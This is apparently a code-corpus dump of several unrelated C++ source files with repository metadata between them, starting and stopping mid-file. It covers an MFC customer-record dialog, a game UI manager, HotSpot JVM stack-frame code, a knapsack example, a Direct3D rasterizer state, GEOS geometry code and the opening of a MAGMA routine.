MessageBox(_T("请选择最近消费时间"));
return;
}
CString temp ;
temp.Format(_T("%d"),m_ctmNO);
p = T2A(temp);
strcpy_s(m_ctmNewStruct.NO,p);
p = T2A(m_ctmcall);
strcpy_s(m_ctmNewStruct.call_ctm,p);
p = T2A(m_ctmNM);
strcpy_s(m_ctmNewStruct.name,p);
int sel = m_comboxSex.GetCurSel();
m_comboxSex.GetLBText(sel,temp);
p = T2A(temp);
strcpy_s(m_ctmNewStruct.sex,p);
p = T2A(m_phone);
strcpy_s(m_ctmNewStruct.phone,p);
temp.Format(_T("%d"),m_times);
p = T2A(temp);
strcpy_s(m_ctmNewStruct.pay_times,p);
temp.Format(_T("%.2f"),m_price);
p = T2A(temp);
strcpy_s(m_ctmNewStruct.pay_total,p);
p = T2A(m_ps);
strcpy_s(m_ctmNewStruct.ps,p);
CSock::StartReqCtmNew(this);
}
BOOL CCtmNew::IsItemValidity(CString _source,CString _item_name,BOOL bCheckEmpty,BOOL bCheckNum,BOOL bCheckDateFormat,int str_len_max,int data_min_len,BOOL bCheckDot)
{
if(bCheckEmpty) //TRUE 代表需要检查是否为空 不允许为空
{
if(_source.IsEmpty()) //
{
CString err = _item_name+_T("不能为空");
MessageBox(err);
return FALSE;
}
}
if(!_source.IsEmpty())
{
if(bCheckNum) //需要检查是否为数字
{
if(!IsNum(_source,bCheckDot))
{
CString err = _item_name+_T("必须为数字");
MessageBox(err);
return FALSE;
}
}
if(ContainsCharsRemain(_source))
{
return FALSE;
}
if(_source.GetLength()>str_len_max) //检查数据长度
{
CString err;
err.Format(_T("%s数据长度不能超过%d"),_item_name,str_len_max);
MessageBox(err);
return FALSE;
}
if(_source.GetLength() < data_min_len) //检查数据长度
{
CString err;
err.Format(_T("%s数据长度不能少于%d"),_item_name,data_min_len);
MessageBox(err);
return FALSE;
}
if(bCheckDateFormat) //检查是否符合日期格式
{
CString _err2 = _item_name+_T("不符合日期格式，标准格式如：2014-10-05");
CString str = _source;
int index = _source.Find('-');
if(index == -1) //没找到
{
MessageBox(_err2);
return FALSE;
}else{
CString left = str.Mid(0,index);
str = str.Mid(index+1);
if(left.GetLength()!=4)
{
MessageBox(_err2);
return FALSE;
}else{
if(!IsNum(left,FALSE))
{
MessageBox(_err2);
return FALSE;
}else{ //前面还算合法的
index = str.Find('-');
if(index == -1) //没找到
{
MessageBox(_err2);
return FALSE;
}else{
left = str.Mid(0,index);
str = str.Mid(index+1);
if(IsNum(left,FALSE)&&IsNum(str,FALSE))
{
return TRUE;
}else{
MessageBox(_err2);
return FALSE;
}
}
}
}
}
}
}
return TRUE;
}
BOOL CCtmNew::ContainsCharsRemain(CString str) //检查字符串是否包含子字符串
{
CString temp1 = _T("[#");
CString temp2 = _T("#]");
CString temp3 = _T("{#");
CString temp4 = _T("#}");
int flag = 0;
flag = str.Find(temp1);
if(flag != -1)
{
MessageBox(_T("数据中不能包含‘[#’字符"));
return TRUE;
}
flag = str.Find(temp2);
if(flag != -1)
{
MessageBox(_T("数据中不能包含‘#]’字符"));
return TRUE;
}
flag = str.Find(temp3);
if(flag != -1)
{
MessageBox(_T("数据中不能包含‘#}’字符"));
return TRUE;
}
flag = str.Find(temp4);
if(flag != -1)
{
MessageBox(_T("数据中不能包含‘{#’字符"));
return TRUE;
}
return FALSE;
}
BOOL CCtmNew::IsNum(CString str,BOOL bCheckDot)
{
WT;
char *p = T2A(str);
int i = 0;
int count = str.GetLength();
while(count){
if(p[i]>'9'||p[i]<'0')
{
if(bCheckDot)
{
if(p[i] != '.')
{
return FALSE;
}
}else
{
return FALSE;
}
}
count--;
i++;
}
return TRUE;
}
BOOL CCtmNew::OnInitDialog()
{
CDialogEx::OnInitDialog();
CFont font;
LOGFONT m_tempfont={23,0,0,0,FW_BOLD, //黑体还是正常
FALSE,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH,_T( "宋体")};
font.CreateFontIndirect(&m_tempfont); //新建字体
m_tip.SetFont(&font);
font.Detach();
InitCombSex();
m_dateFist.SetFormat(_T("yyyy-MM-dd"));
m_dateLast.SetFormat(_T("yyyy-MM-dd"));
return TRUE;
}
void CCtmNew::InitCombSex()
{
m_comboxSex.AddString(_T("男"));
m_comboxSex.AddString(_T("女"));
m_comboxSex.SetCurSel(0);
} | [
"[email protected]"
] | |
4bf3dee9a987ae72a8511bb8747ca89df795e033 | 9d76a4ca316e6b993ccfd16cb883515bc74f7ed5 | /Project/Sepiatoon2/Game/UIManager/UIManager.h | 78e5c4347b7bf7ebd3f144e62cd5930c8cc85d22 | [] | no_license | Taka0158/Sepia-2 | f78b7458bc2dc832c14ff2f732550c393e8eff0c | 89ab536583ab1d164d12570c3a20c68015b76277 | refs/heads/master | 2020-03-10T11:48:23.559035 | 2018-04-27T18:08:31 | 2018-04-27T18:08:31 | 129,363,839 | 0 | 0 | null | null | null | null | SHIFT_JIS | C++ | false | false | 912 | h | #pragma once
//管理するUI子クラスが増えればObjectManagerのような振る舞いに変更すべき
class UIManager :public Entity, public Singleton<UIManager>
{
friend class Singleton<UIManager>;
public:
UIManager();
~UIManager();
void update();
void draw();
void debug_update();
void debug_draw();
void initialize();
void finalize();
bool handle_message(const Telegram&);
private:
bool on_message(const Telegram&);
//テストクラス
//経過時間(秒)を表示するクラス
class UITime
{
public:
UITime()
{
timer = 1;
sec = 0;
}
void update()
{
timer++;
if (timer % 60 == 0)sec++;
}
void draw()
{
int sc_w = Setting::sc_w;
FONT_IKA_ALPHABET_32.drawCenter(ToString(sec), Vec2(sc_w / 2, 64), Palette::Black);
}
private:
int timer;
int sec;
};
UITime* m_UITime = nullptr;
};
UIManager* Singleton<UIManager>::instance = nullptr; | [
"[email protected]"
] | |
8dbe0703505fe1957550d2a7541777c81129ccd3 | 08bdd164c174d24e69be25bf952322b84573f216 | /opencores/client/foundation classes/j2sdk-1_4_2-src-scsl/hotspot/src/cpu/i486/vm/frame_i486.cpp | f14e20d6544a628716d5770ea161f84757125187 | [] | no_license | hagyhang/myforthprocessor | 1861dcabcf2aeccf0ab49791f510863d97d89a77 | 210083fe71c39fa5d92f1f1acb62392a7f77aa9e | refs/heads/master | 2021-05-28T01:42:50.538428 | 2014-07-17T14:14:33 | 2014-07-17T14:14:33 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 16,407 | cpp | #ifdef USE_PRAGMA_IDENT_SRC
#pragma ident "@(#)frame_i486.cpp 1.175 03/01/27 08:25:29 JVM"
#endif
/*
* Copyright 2003 Sun Microsystems, Inc. All rights reserved.
* SUN PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
*/
# include "incls/_precompiled.incl"
# include "incls/_frame_i486.cpp.incl"
// Profiling/safepoint support
bool JavaThread::get_top_frame(frame* _fr, ExtendedPC* _addr, bool for_profile_only) {
jint* sp;
jint* fp;
ExtendedPC addr = os::fetch_top_frame(this, &sp, &fp);
if (addr.contained_pc() != NULL) {
/* Some return paths do not require valid fp or sp values,
so they are not checked here */
frame fr(sp, fp, addr.pc());
*_fr = fr;
if (_addr != NULL) *_addr = addr;
return true;
}
return false;
}
// Called by the jvmpi profiler to get the sp and pc
// for a thread_in_Java
// match Sparc which can not call fetch_top_frame
// - if called on other threads will call _thr_getstate
// which assumes thread is t_stop or stopallmutators,
// and it is not
bool JavaThread::profile_top_frame(frame* _fr, ExtendedPC* _addr) {
bool gotframe = false;;
ThreadState state = osthread()->get_state();
// self suspension saves needed state.
if ((is_any_suspended() || state == CONDVAR_WAIT || state == OBJECT_WAIT)
&& has_last_Java_frame()) {
*_fr = pd_last_frame();
gotframe = true;
}
return gotframe;
}
bool JavaThread::profile_last_Java_frame(frame* _fr, ExtendedPC* _addr) {
// Fine-grained profiling of the VM code is currently not implemented on i486
// and *_addr is not set. It will eventually be set to the exact native PC if the
// tick lands inside the VM code.
if (_fr != NULL) {
*_fr = last_frame();
return true;
}
return false;
}
bool frame::safe_for_sender(JavaThread *thread) {
bool safe = false;
address sp = (address)_sp;
address fp = (address)_fp;
if ((sp != NULL && fp != NULL &&
(sp <= thread->stack_base() && sp >= thread->stack_base() - thread->stack_size())) &&
(fp <= thread->stack_base() && fp >= thread->stack_base() - thread->stack_size())) {
safe = true;
}
return safe;
}
void frame::patch_pc(Thread* thread, address pc) {
if (TracePcPatching) {
tty->print_cr("patch_pc at address 0x%x [0x%x -> 0x%x] ", &((address *)_sp)[-1], ((address *)_sp)[-1], pc);
}
((address *)_sp)[-1] = _pc = pc;
}
void frame::set_sender_pc(address addr) {
if (TracePcPatching) {
tty->print_cr("set_sender_pc at address 0x%x [0x%x -> 0x%x] ", sender_pc_addr(), *sender_pc_addr(), addr);
}
*sender_pc_addr() = addr;
}
bool frame::is_interpreted_frame() const {
return Interpreter::contains(pc());
}
bool frame::is_entry_frame() const {
return StubRoutines::returns_to_call_stub(pc());
}
// sender_sp
jint* frame::interpreter_frame_sender_sp() const {
assert(is_interpreted_frame(), "interpreted frame expected");
return (jint*) at(interpreter_frame_sender_sp_offset);
}
void frame::set_interpreter_frame_sender_sp(jint* sender_sp) {
assert(is_interpreted_frame(), "interpreted frame expected");
int_at_put(interpreter_frame_sender_sp_offset, (jint) sender_sp);
}
// monitor elements
BasicObjectLock* frame::interpreter_frame_monitor_begin() const {
return (BasicObjectLock*) addr_at(interpreter_frame_monitor_block_bottom_offset);
}
BasicObjectLock* frame::interpreter_frame_monitor_end() const {
BasicObjectLock* result = (BasicObjectLock*) *(jint*)addr_at(interpreter_frame_monitor_block_top_offset);
// make sure the pointer points inside the frame
assert((int) fp() > (int) result, "result must < than frame pointer");
assert((int) sp() <= (int) result, "result must >= than stack pointer");
return result;
}
void frame::interpreter_frame_set_monitor_end(BasicObjectLock* value) {
*((BasicObjectLock**)addr_at(interpreter_frame_monitor_block_top_offset)) = value;
}
frame frame::sender_for_entry_frame(RegisterMap* map) const {
assert(map != NULL, "map must be set");
// Java frame called from C; skip all C frames and return top C
// frame of that chunk as the sender
JavaFrameAnchor* jfa = entry_frame_call_wrapper()->anchor();
assert(!entry_frame_is_first(), "next Java fp must be non zero");
assert(jfa->last_Java_sp() > _sp, "must be above this frame on stack");
frame fr(jfa->last_Java_sp(), jfa->last_Java_fp());
map->clear(jfa->not_at_call_id());
assert(map->include_argument_oops(), "should be set by clear");
return fr;
}
frame frame::sender_for_interpreter_frame(RegisterMap* map) const {
//
// This basically makes sp in a frame the original sp before the interpreter
// adjusted it. This is handled by _interpreter_sp_adjustment handling on
// sparc. This is much less visible.
jint* sp = (jint*) at(interpreter_frame_sender_sp_offset);
// We do not need to update the callee-save register mapping because above
// us is either another interpreter frame or a converter-frame, but never
// directly a compiled frame.
return frame(sp, link(), sender_pc());
}
frame frame::sender_for_raw_compiled_frame(RegisterMap* map) const {
#ifndef CORE
CodeBlob* stub_cb = CodeCache::find_blob(pc());
assert(stub_cb != NULL, "wrong pc");
return sender_for_compiled_frame(map, stub_cb, false);
#else
ShouldNotReachHere();
return frame();
#endif
}
#ifndef CORE
#ifdef COMPILER2
//------------------------------link_offset-------------------------------------
// Find the where EBP got saved in the frame. Cached and lazily computed.
int CodeBlob::link_offset( ) {
// Magic value -2 means Not Yet Computed; other values are the actual result.
if( _link_offset == not_yet_computed ) {
// No prior EBP saved for nmethods (prior frame is NOT an interpreted).
if( is_nmethod() ) {
_link_offset = undefined;
} else {
// The Adaptor spills EBP so it must be in a stack location somewhere.
// Find it.
OopMap *map = oop_maps()->at(0);// Should be in first map
ResourceMark rm;
OopMapValue omv;
for(OopMapStream oms(map,OopMapValue::callee_saved_value); !oms.is_done(); oms.next()) {
omv = oms.current();
if(omv.content_reg() == Matcher::interpreter_frame_pointer_reg()) {
_link_offset = omv.stack_offset();
break;
}
}
assert( _link_offset != not_yet_computed, "didn't find EBP in first oopmap?" );
}
}
return _link_offset;
}
#endif // COMPILER2
//------------------------------sender_for_compiled_frame-----------------------
frame frame::sender_for_compiled_frame(RegisterMap* map, CodeBlob* cb, bool adjusted) const {
assert(map != NULL, "map must be set");
// frame owned by optimizing compiler
jint* sender_sp = NULL;
#ifdef COMPILER1
sender_sp = fp() + 2;
#endif
#ifdef COMPILER2
assert(cb->frame_size() >= 0, "Compiled by Compiler1: do not use");
sender_sp = sp() + cb->frame_size();
if( cb->is_i2c_adapter() ||
cb->is_osr_method() ) {
// Sender's SP is stored at the end of the frame
sender_sp = (jint*)*(sender_sp-1)+1;
}
#endif
// On Intel the return_address is always the word on the stack
address sender_pc = (address) *(sender_sp-1);
if (map->update_map() && cb->oop_maps() != NULL) {
OopMapSet::update_register_map(this, cb, map);
}
// Move this here for C1 and collecting oops in arguments (According to Rene)
COMPILER1_ONLY(map->set_include_argument_oops(cb->caller_must_gc_arguments(map->thread()));)
jint *saved_fp = NULL;
#ifdef COMPILER1
saved_fp = (jint*) (*fp());
#endif
#ifdef COMPILER2
int llink_offset = cb->link_offset();
if (llink_offset >= 0) {
// Restore base-pointer, since next frame might be an interpreter frame.
jint* fp_addr = sp() + llink_offset;
#ifdef ASSERT
// Check to see if regmap has same info
if (map->update_map()) {
address fp2_addr = map->location(VMReg::Name(EBP_num));
assert(fp2_addr == NULL || fp2_addr == (address)fp_addr, "inconsistent framepointer info.");
}
#endif
saved_fp = (jint*)*fp_addr;
}
#endif // COMPILER2
// Update sp (e.g. osr adapter needs to get saved_esp)
if( cb->is_osr_adapter() ) {
// See in frame_i486.hpp the interpreter's frame layout.
// Currently, sender's sp points just past the 'return pc' like normal.
// We need to load up the real 'sender_sp' from the interpreter's frame.
// This is different from normal, because the current interpreter frame
// (which has been mangled into an OSR-adapter) pushed a bunch of space
// on the caller's frame to make space for Java locals.
jint* sp_addr = (sender_sp - frame::sender_sp_offset) + frame::interpreter_frame_sender_sp_offset;
sender_sp = (jint*)*sp_addr;
}
#ifndef CORE
if (adjusted) {
// Adjust the sender_pc if it points into a temporary codebuffer.
sender_pc = map->thread()->safepoint_state()->compute_adjusted_pc(sender_pc);
}
#endif
return frame(sender_sp, saved_fp, sender_pc);
}
frame frame::sender_for_deoptimized_frame(RegisterMap* map, CodeBlob* cb) const {
guarantee(map != NULL, "map must be present");
JavaThread *thread = map->thread();
guarantee(thread != NULL, "thread not set");
vframeArray* vf = thread->vframe_array_for(this);
jint* sender_sp;
// If the vframe is not found then we are in the midst of unpacking for this
// frame and the deopt_frame is really just the stub frame and not the original
// compiled (but deopt'd) frame. It would be better to compare the pc to the
// value we know is the call to unpack_frames. NEEDS_CLEANUP
//
if ( vf != NULL) {
if (map->update_map()) {
vf->update_register_map(map);
}
sender_sp = sp() + vf->frame_size();
} else {
assert(!map->update_map(), "not supported");
sender_sp = sp() + cb->frame_size();
}
#ifdef COMPILER1
NEEDS_CLEANUP // check if link() is correct
// C1 needs to build a complete frame, including _fp. C2 seems to stop
// iterating over stack frames when a deoptimized frame is reached.
return frame(sender_sp, link(), (address) *(sender_sp - 1));
#endif
#ifdef COMPILER2
// See note above about vf == NULL
// fp can be null during deopt before skeletal frames are setup
if (vf != NULL || fp() == NULL) return frame(sender_sp, NULL, (address) *(sender_sp - 1));
else return frame(sender_sp, link(), (address) *(sender_sp - 1));
#endif
}
#endif
frame frame::sender(RegisterMap* map, CodeBlob *cb) const {
// Default is we done have to follow them. The sender_for_xxx will
// update it accordingly
map->set_include_argument_oops(false);
if (is_entry_frame()) return sender_for_entry_frame(map);
if (is_interpreted_frame()) return sender_for_interpreter_frame(map);
#ifdef COMPILER1
// Note: this test has to come before CodeCache::find_blob(pc())
// call since the code for osr adapter frames is contained
// in the code cache, too!
if (is_osr_adapter_frame()) return sender_for_interpreter_frame(map);
#endif // COMPILER1
#ifndef CORE
if(cb == NULL) {
cb = CodeCache::find_blob(pc());
} else {
assert(cb == CodeCache::find_blob(pc()),"Must be the same");
}
if (cb != NULL) {
// Deoptimized frame?
if (is_deoptimized_frame()) {
return sender_for_deoptimized_frame(map, cb);
} else {
// Returns adjusted pc if it was pointing into a temp. safepoint codebuffer.
return sender_for_compiled_frame(map, cb, true);
}
}
#endif // CORE
// Must be native-compiled frame, i.e. the marshaling code for native
// methods that exists in the core system.
return frame(sender_sp(), link(), sender_pc());
}
// Adjust index for the 2 words containing old_fp and ret_adr
int frame::adjust_offset(methodOop method, int index) {
int size_of_parameters = method->size_of_parameters();
assert (size_of_parameters >= 0, "illegal number of parameters in method");
return (size_of_parameters - index + (index < size_of_parameters ? 1 : -1));
}
bool frame::interpreter_frame_equals_unpacked_fp(jint* fp) {
assert(is_interpreted_frame(), "must be interpreter frame");
methodOop method = interpreter_frame_method();
// When unpacking an optimized frame the frame pointer is
// adjusted with:
int diff = method->max_locals() - method->size_of_parameters();
return _fp == (fp - diff);
}
void frame::pd_gc_epilog() {
// nothing done here now
}
bool frame::is_interpreted_frame_valid() const {
assert(is_interpreted_frame(), "Not an interpreted frame");
// These are reasonable sanity checks
if (fp() == 0 || (int(fp()) & 0x3) != 0) {
return false;
}
if (sp() == 0 || (int(sp()) & 0x3) != 0) {
return false;
}
if (fp() + interpreter_frame_initial_sp_offset < sp()) {
return false;
}
// These are hacks to keep us out of trouble.
// The problem with these is that they mask other problems
if (fp() <= sp()) { // this attempts to deal with unsigned comparison above
return false;
}
if (fp() - sp() > 4096) { // stack frames shouldn't be large.
return false;
}
return true;
}
#ifdef COMPILER1
void frame::set_sender_pc_for_unpack(frame caller, int exec_mode) {
switch(exec_mode) {
case Deoptimization::Unpack_reexecute:
case Deoptimization::Unpack_deopt:
case Deoptimization::Unpack_exception: {
DeoptimizationBlob* deopt_blob = (DeoptimizationBlob*) Runtime1::blob_for(Runtime1::deoptimization_handler_id);
jint* return_address = sp() + deopt_blob->frame_size() - 1;
*return_address = (jint) caller.pc();
NEEDS_CLEANUP;
int saved_ebp_offset = 9;
jint *fp = sp() + saved_ebp_offset;
*fp = (jint) caller.fp();
}
break;
default:
ShouldNotReachHere();
break;
}
}
void frame::patch_for_deoptimization(JavaThread* thread, frame callee, address deopt_handler) {
if (callee.is_interpreted_frame() || callee.is_osr_adapter_frame()) {
assert(callee.sp() != sp(), "can be only for top frame");
callee.set_sender_pc(deopt_handler);
} else {
patch_pc(thread, deopt_handler);
}
}
address frame::frameless_stub_return_addr() {
// To call jvmpi_method_exit, the call pushes two arguments on the stack so
// the return address is stored two words below its frame's top-of-stack.
return (address)*(sp() + 2);
}
void frame::patch_frameless_stub_return_addr(Thread* thread, address return_addr) {
*(address *)(sp() + 2) = return_addr;
}
#endif
#ifdef COMPILER2
void frame::set_sender_pc_for_unpack(frame caller, int exec_mode) {
switch(exec_mode) {
case Deoptimization::Unpack_deopt:
case Deoptimization::Unpack_exception: {
jint* return_address = sp() + OptoRuntime::deoptimization_blob()->frame_size() - 1;
*return_address = (jint) caller.pc();
// Stuff the returned frame pointer into the uncommon_trap frame.
// Helps PSF do stack crawls.
assert( OptoRuntime::deoptimization_blob()->link_offset() >= 0, "" );
jint *fp = sp() + OptoRuntime::deoptimization_blob()->link_offset();
*fp = (jint) caller.fp();
}
break;
case Deoptimization::Unpack_uncommon_trap: {
jint* return_address = sp() + OptoRuntime::uncommon_trap_blob()->frame_size() - 1;
*return_address = (jint) caller.pc();
// Stuff the returned frame pointer into the uncommon_trap frame.
// Helps PSF do stack crawls.
assert( OptoRuntime::uncommon_trap_blob()->link_offset() >= 0, "" );
jint *fp = sp() + OptoRuntime::uncommon_trap_blob()->link_offset();
*fp = (jint) caller.fp();
}
break;
default:
ShouldNotReachHere();
break;
}
}
int frame::pd_compute_variable_size(int frame_size_in_words, CodeBlob *code) {
if (code->is_osr_adapter()) {
intptr_t* sender_sp = sp() + code->frame_size();
// See in frame_i486.hpp the interpreter's frame layout.
// Currently, sender's sp points just past the 'return pc' like normal.
// We need to load up the real 'sender_sp' from the interpreter's frame.
// This is different from normal, because the current interpreter frame
// (which has been mangled into an OSR-adapter) pushed a bunch of space
// on the caller's frame to make space for Java locals.
jint* sp_addr = (sender_sp - frame::sender_sp_offset) + frame::interpreter_frame_sender_sp_offset;
intptr_t* new_sp = (intptr_t*)*sp_addr;
frame_size_in_words = new_sp - sp();
}
return frame_size_in_words;
}
#endif
| [
"[email protected]"
] | |
e30a1188f5114a7ca6f9ed4374ad56c4e50cc8d2 | 699dca2ea66337c05a6d728204694759f67b8a29 | /DynamicProgramming/knansack/knapsackmemoitazion.cpp | aa5e1e55c152ec65b0e5f8e352197ebc68d947af | [] | no_license | mayank-bhardwa/CodingLibrary | a554735085bcc1563eac8497aede196fc700d38b | 24b964ea4511840032d5048efde44185bf438fe7 | refs/heads/master | 2023-05-14T05:29:20.341563 | 2021-06-08T04:55:40 | 2021-06-08T04:55:40 | 290,493,086 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,512 | cpp | /*
Below is a cpp program to find max profit that could be made
if we have given weights of items and their corresponding
values we have to choose weights such that sum of values
is maximum and total weight is less than or equal to capacity
of knapsack (w)
*/
//this is dynamic solution using memoization
//in this we create matrix t of size n*m where n and m are
//variables that are changing in recursive function
#include<bits/stdc++.h>
using namespace std;
int t[11][16];
int knapsack(int weights[],int values[],int w,int n){
if(n==0 || w==0){ //base case if their is no item or no space in knapsack stop calling
return 0;
}
if(t[n][w] != -1){
return t[n][w];
}
else if(weights[n-1]<=w){ //if item weight is less or equal to w then we have two choice accept it or reject it
return t[n][w]=max(values[n-1]+knapsack(weights,values,w-weights[n-1],n-1),knapsack(weights,values,w,n-1));
}
else{ //if item weight is more than w then it could not be inserted
return t[n][w]=knapsack(weights,values,w,n-1);
}
}
int main(){
//below lines make code input output fast
ios_base::sync_with_stdio(false);
cin.tie();
cout.tie();
memset(t,-1,sizeof(t));
int n=10;
int weights[] = {5,7,6,1,2,5,3,11,3,4};
int values[] = {3,1,8,7,1,6,2,15,6,2};
int w=15;
cout<<knapsack(weights,values,w,n);
return 0;
} | [
"[email protected]"
] | |
672440cea9a2791b0a04a166da1a492e95fbaa0b | 5553753cbc96821e4fbb71ea0fdd049884531595 | /Siv3D/src/Siv3D/Graphics/D3D11/RasterizerState/D3D11RasterizerState.cpp | 25f19cc961673bf611fa44dec8d55496d8aa4d17 | [
"MIT"
] | permissive | hota1024/OpenSiv3D | 713fb649022e1ac436a3fde32cbaab5f7fc0b605 | b91f0cf9f8902ddd3bc26cbc7fb957d638e25cc4 | refs/heads/master | 2020-03-12T05:13:27.346136 | 2018-04-21T09:36:02 | 2018-04-21T09:36:02 | 130,459,394 | 0 | 0 | MIT | 2018-04-21T09:31:37 | 2018-04-21T09:31:36 | null | UTF-8 | C++ | false | false | 2,095 | cpp | //-----------------------------------------------
//
// This file is part of the Siv3D Engine.
//
// Copyright (c) 2008-2018 Ryo Suzuki
// Copyright (c) 2016-2018 OpenSiv3D Project
//
// Licensed under the MIT License.
//
//-----------------------------------------------
# include <Siv3D/Platform.hpp>
# if defined(SIV3D_TARGET_WINDOWS)
# include <Siv3D/Rectangle.hpp>
# include "D3D11RasterizerState.hpp"
namespace s3d
{
D3D11RasterizerState::D3D11RasterizerState(ID3D11Device* const device, ID3D11DeviceContext* const context)
: m_device(device)
, m_context(context)
{
}
void D3D11RasterizerState::set(const RasterizerState& state)
{
if (state == m_currentState)
{
return;
}
auto it = m_states.find(state);
if (it == m_states.end())
{
it = create(state);
if (it == m_states.end())
{
return;
}
}
m_context->RSSetState(it->second.Get());
m_currentState = state;
}
void D3D11RasterizerState::setScissorRect(const Rect& scissorRect)
{
D3D11_RECT r{ scissorRect.x, scissorRect.y, scissorRect.x + scissorRect.w, scissorRect.y + scissorRect.h };
m_context->RSSetScissorRects(1, &r);
}
D3D11RasterizerState::RasterizerStateList::iterator D3D11RasterizerState::create(const RasterizerState& state)
{
D3D11_RASTERIZER_DESC desc{};
desc.FillMode = static_cast<D3D11_FILL_MODE>(state.fillMode);
desc.CullMode = static_cast<D3D11_CULL_MODE>(state.cullMode);
desc.FrontCounterClockwise = false;
desc.DepthBias = state.depthBias;
desc.DepthBiasClamp = 0.0f;
desc.SlopeScaledDepthBias = 0.0f;
desc.DepthClipEnable = true;
desc.ScissorEnable = state.scissorEnable;
desc.MultisampleEnable = state.antialiasedLine3D ? false : true;
desc.AntialiasedLineEnable = state.antialiasedLine3D ? true : false;
ComPtr<ID3D11RasterizerState> rasterizerState;
if (FAILED(m_device->CreateRasterizerState(&desc, &rasterizerState)))
{
return m_states.end();
}
if (m_states.size() >= 1024)
{
m_states.clear();
}
return m_states.emplace(state, std::move(rasterizerState)).first;
}
}
# endif
| [
"[email protected]"
] | |
5c6071c67e885721ab11949ef2377e6e2bc548e7 | 35e28d7705773eed54345af4440700522c9d1863 | /deps/libgeos/geos/src/algorithm/InteriorPointLine.cpp | e42b2ab884fabc9d6fc233936871ac414e72cb89 | [
"Apache-2.0",
"LGPL-2.1-only"
] | permissive | naturalatlas/node-gdal | 0ee3447861bf2d1abc48d4fbdbcf15aba5473a27 | c83e7858a9ec566cc91d65db74fd07b99789c0f0 | refs/heads/master | 2023-09-03T00:11:41.576937 | 2022-03-12T20:41:59 | 2022-03-12T20:41:59 | 19,504,824 | 522 | 122 | Apache-2.0 | 2022-06-04T20:03:43 | 2014-05-06T18:02:34 | C++ | UTF-8 | C++ | false | false | 3,573 | cpp | /**********************************************************************
*
* GEOS - Geometry Engine Open Source
* http://geos.osgeo.org
*
* Copyright (C) 2005-2006 Refractions Research Inc.
* Copyright (C) 2001-2002 Vivid Solutions Inc.
*
* This is free software; you can redistribute and/or modify it under
* the terms of the GNU Lesser General Public Licence as published
* by the Free Software Foundation.
* See the COPYING file for more information.
*
**********************************************************************
*
* Last port: algorithm/InteriorPointLine.java r317 (JTS-1.12)
*
**********************************************************************/
#include <geos/algorithm/InteriorPointLine.h>
#include <geos/geom/Coordinate.h>
#include <geos/geom/Geometry.h>
#include <geos/geom/GeometryCollection.h>
#include <geos/geom/LineString.h>
#include <geos/geom/CoordinateSequence.h>
#ifndef GEOS_DEBUG
#define GEOS_DEBUG 0
#endif
#ifdef GEOS_DEBUG
#include <iostream>
#endif
using namespace geos::geom;
namespace geos {
namespace algorithm { // geos.algorithm
InteriorPointLine::InteriorPointLine(const Geometry *g)
{
minDistance=DoubleMax;
hasInterior=false;
if ( g->getCentroid(centroid) )
{
#if GEOS_DEBUG
std::cerr << "Centroid: " << centroid << std::endl;
#endif
addInterior(g);
}
if (!hasInterior) addEndpoints(g);
}
InteriorPointLine::~InteriorPointLine()
{
}
/* private
*
* Tests the interior vertices (if any)
* defined by a linear Geometry for the best inside point.
* If a Geometry is not of dimension 1 it is not tested.
* @param geom the geometry to add
*/
void
InteriorPointLine::addInterior(const Geometry *geom)
{
const LineString *ls = dynamic_cast<const LineString*>(geom);
if ( ls ) {
addInterior(ls->getCoordinatesRO());
return;
}
const GeometryCollection *gc = dynamic_cast<const GeometryCollection*>(geom);
if ( gc )
{
for(std::size_t i=0, n=gc->getNumGeometries(); i<n; i++) {
addInterior(gc->getGeometryN(i));
}
}
}
void
InteriorPointLine::addInterior(const CoordinateSequence *pts)
{
const std::size_t n=pts->getSize()-1;
for(std::size_t i=1; i<n; ++i)
{
add(pts->getAt(i));
}
}
/* private
*
* Tests the endpoint vertices
* defined by a linear Geometry for the best inside point.
* If a Geometry is not of dimension 1 it is not tested.
* @param geom the geometry to add
*/
void
InteriorPointLine::addEndpoints(const Geometry *geom)
{
const LineString *ls = dynamic_cast<const LineString*>(geom);
if ( ls ) {
addEndpoints(ls->getCoordinatesRO());
return;
}
const GeometryCollection *gc = dynamic_cast<const GeometryCollection*>(geom);
if ( gc )
{
for(std::size_t i=0, n=gc->getNumGeometries(); i<n; i++) {
addEndpoints(gc->getGeometryN(i));
}
}
}
void
InteriorPointLine::addEndpoints(const CoordinateSequence *pts)
{
size_t npts = pts->size();
if ( npts ) {
add(pts->getAt(0));
if ( npts > 1 ) add(pts->getAt(npts-1));
}
}
/*private*/
void
InteriorPointLine::add(const Coordinate& point)
{
double dist=point.distance(centroid);
#if GEOS_DEBUG
std::cerr << "point " << point << " dist " << dist << ", minDistance " << minDistance << std::endl;
#endif
if (!hasInterior || dist<minDistance) {
interiorPoint=point;
#if GEOS_DEBUG
std::cerr << " is new InteriorPoint" << std::endl;
#endif
minDistance=dist;
hasInterior=true;
}
}
bool
InteriorPointLine::getInteriorPoint(Coordinate& ret) const
{
if ( ! hasInterior ) return false;
ret=interiorPoint;
return true;
}
} // namespace geos.algorithm
} // namespace geos
| [
"[email protected]"
] | |
8e802c1e5f50a9d2c1c318c18ff4d6f211aa51fb | ed5669151a0ebe6bcc8c4b08fc6cde6481803d15 | /magma-1.5.0/magmablas/ssymm_mgpu_spec.cpp | 4ebda1e9f28c36e8f53d7f136886223f6eaa64f7 | [] | no_license | JieyangChen7/DVFS-MAGMA | 1c36344bff29eeb0ce32736cadc921ff030225d4 | e7b83fe3a51ddf2cad0bed1d88a63f683b006f54 | refs/heads/master | 2021-09-26T09:11:28.772048 | 2018-05-27T01:45:43 | 2018-05-27T01:45:43 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 20,369 | cpp | /*
-- MAGMA (version 1.5.0) --
Univ. of Tennessee, Knoxville
Univ. of California, Berkeley
Univ. of Colorado, Denver
@date September 2014
@generated from zhemm_mgpu_spec.cpp normal z -> s, Wed Sep 17 15:08:23 2014
@author Azzam Haidar
*/
#include "common_magma.h"
#include "magma_bulge.h"
//#include "trace.h"
extern "C"
void magmablas_ssymm_mgpu_spec(
magma_side_t side, magma_uplo_t uplo, magma_int_t m, magma_int_t n,
float alpha,
float *dA[], magma_int_t ldda, magma_int_t offset,
float *dB[], magma_int_t lddb,
float beta,
float *dC[], magma_int_t lddc,
float *dwork[], magma_int_t dworksiz,
